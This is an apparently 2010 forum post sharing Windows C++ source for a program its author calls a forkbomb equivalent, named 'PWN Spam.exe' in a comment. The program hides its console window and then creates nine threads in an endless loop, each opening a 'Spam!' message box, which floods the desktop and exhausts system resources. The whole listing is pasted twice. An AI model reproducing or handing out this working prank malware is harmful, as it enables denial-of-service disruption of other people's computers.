08-03-2010, 11:53 AM
Code:
the equivelent to a forkbomb in C++ ish.
#include <windows.h>
#include <iostream>
using namespace std;
HANDLE hThread[9];
DWORD dwID[9];
DWORD dwRetVal = 0;
int i = 2;
HWND Wind1, Wind2, Wind3, Wind4, Wind5, Wind6, Wind7, Wind8, Wind9, MainWind;
long WINAPI Thread2(long lParam);
long WINAPI Thread3(long lParam);
long WINAPI Thread4(long lParam);
long WINAPI Thread5(long lParam);
long WINAPI Thread6(long lParam);
long WINAPI Thread7(long lParam);
long WINAPI Thread8(long lParam);
long WINAPI Thread9(long lParam);
long WINAPI Thread10(long lParam);
int main (int argc, char* argv[])
{
MainWind = GetConsoleWindow ();
ShowWindow (MainWind, SW_HIDE);
/*
if (argc != 3)
{
cout <<"Error\n";
cout <<"Proper syntax is: \n";
cout <<'"'<<"PWN Spam.exe" << '"' << ' ' <<'"' <<"Message" << '"' <<' ' <<'"' <<"Title" <<'"' <<endl;
cout <<"Remember to use " << '"' <<' '<<'"' << "s to inclose your message / title";
return -1;
}
*/
MessageBoxA (0, "Hello there, how are you doing today?", "Hello.", NULL);
while (i > 0)
{
hThread[0] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread2,NULL,0,&dwID[0]);
hThread[1] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread3,NULL,0,&dwID[1]);
hThread[2] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread4,NULL,0,&dwID[2]);
hThread[3] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread5,NULL,0,&dwID[3]);
hThread[4] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread6,NULL,0,&dwID[4]);
hThread[5] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread7,NULL,0,&dwID[5]);
hThread[6] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread8,NULL,0,&dwID[6]);
hThread[7] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread9,NULL,0,&dwID[7]);
hThread[8] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread10,NULL,0,&dwID[8]);
Sleep (1);
}
CloseHandle(hThread[0]);
CloseHandle(hThread[1]);
CloseHandle(hThread[2]);
CloseHandle(hThread[3]);
CloseHandle(hThread[4]);
CloseHandle(hThread[5]);
CloseHandle(hThread[6]);
CloseHandle(hThread[7]);
CloseHandle(hThread[8]);
return 0;
MessageBoxA (0, "How about now lol", "LOL", NULL);
}
long WINAPI Thread2(long lParam)
{
int X1 = 0;
int Y1 = 0;
MessageBoxA(Wind1, "Spam!" , "Spam!" , NULL);
SetWindowPos (Wind1, NULL, X1, Y1, NULL, NULL, SWP_SHOWWINDOW);
X1++;
Y1++;
return 0;
}
long WINAPI Thread3(long lParam)
{
MessageBoxA(Wind2, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread4(long lParam)
{
MessageBoxA(Wind3, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread5(long lParam)
{
MessageBoxA(Wind4, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread6(long lParam)
{
MessageBoxA(Wind5, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread7(long lParam)
{
MessageBoxA(Wind6, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread8(long lParam)
{
MessageBoxA(Wind7, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread9(long lParam)
{
MessageBoxA(Wind8, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread10(long lParam)
{
MessageBoxA(Wind9, "Spam!" , "Spam!" , NULL);
return 0;
}#include <windows.h>
#include <iostream>
using namespace std;
HANDLE hThread[9];
DWORD dwID[9];
DWORD dwRetVal = 0;
int i = 2;
HWND Wind1, Wind2, Wind3, Wind4, Wind5, Wind6, Wind7, Wind8, Wind9, MainWind;
long WINAPI Thread2(long lParam);
long WINAPI Thread3(long lParam);
long WINAPI Thread4(long lParam);
long WINAPI Thread5(long lParam);
long WINAPI Thread6(long lParam);
long WINAPI Thread7(long lParam);
long WINAPI Thread8(long lParam);
long WINAPI Thread9(long lParam);
long WINAPI Thread10(long lParam);
int main (int argc, char* argv[])
{
MainWind = GetConsoleWindow ();
ShowWindow (MainWind, SW_HIDE);
/*
if (argc != 3)
{
cout <<"Error\n";
cout <<"Proper syntax is: \n";
cout <<'"'<<"PWN Spam.exe" << '"' << ' ' <<'"' <<"Message" << '"' <<' ' <<'"' <<"Title" <<'"' <<endl;
cout <<"Remember to use " << '"' <<' '<<'"' << "s to inclose your message / title";
return -1;
}
*/
MessageBoxA (0, "Hello there, how are you doing today?", "Hello.", NULL);
while (i > 0)
{
hThread[0] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread2,NULL,0,&dwID[0]);
hThread[1] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread3,NULL,0,&dwID[1]);
hThread[2] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread4,NULL,0,&dwID[2]);
hThread[3] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread5,NULL,0,&dwID[3]);
hThread[4] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread6,NULL,0,&dwID[4]);
hThread[5] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread7,NULL,0,&dwID[5]);
hThread[6] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread8,NULL,0,&dwID[6]);
hThread[7] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread9,NULL,0,&dwID[7]);
hThread[8] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread10,NULL,0,&dwID[8]);
Sleep (1);
}
CloseHandle(hThread[0]);
CloseHandle(hThread[1]);
CloseHandle(hThread[2]);
CloseHandle(hThread[3]);
CloseHandle(hThread[4]);
CloseHandle(hThread[5]);
CloseHandle(hThread[6]);
CloseHandle(hThread[7]);
CloseHandle(hThread[8]);
return 0;
MessageBoxA (0, "How about now lol", "LOL", NULL);
}
long WINAPI Thread2(long lParam)
{
int X1 = 0;
int Y1 = 0;
MessageBoxA(Wind1, "Spam!" , "Spam!" , NULL);
SetWindowPos (Wind1, NULL, X1, Y1, NULL, NULL, SWP_SHOWWINDOW);
X1++;
Y1++;
return 0;
}
long WINAPI Thread3(long lParam)
{
MessageBoxA(Wind2, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread4(long lParam)
{
MessageBoxA(Wind3, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread5(long lParam)
{
MessageBoxA(Wind4, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread6(long lParam)
{
MessageBoxA(Wind5, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread7(long lParam)
{
MessageBoxA(Wind6, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread8(long lParam)
{
MessageBoxA(Wind7, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread9(long lParam)
{
MessageBoxA(Wind8, "Spam!" , "Spam!" , NULL);
return 0;
}
long WINAPI Thread10(long lParam)
{
MessageBoxA(Wind9, "Spam!" , "Spam!" , NULL);
return 0;
}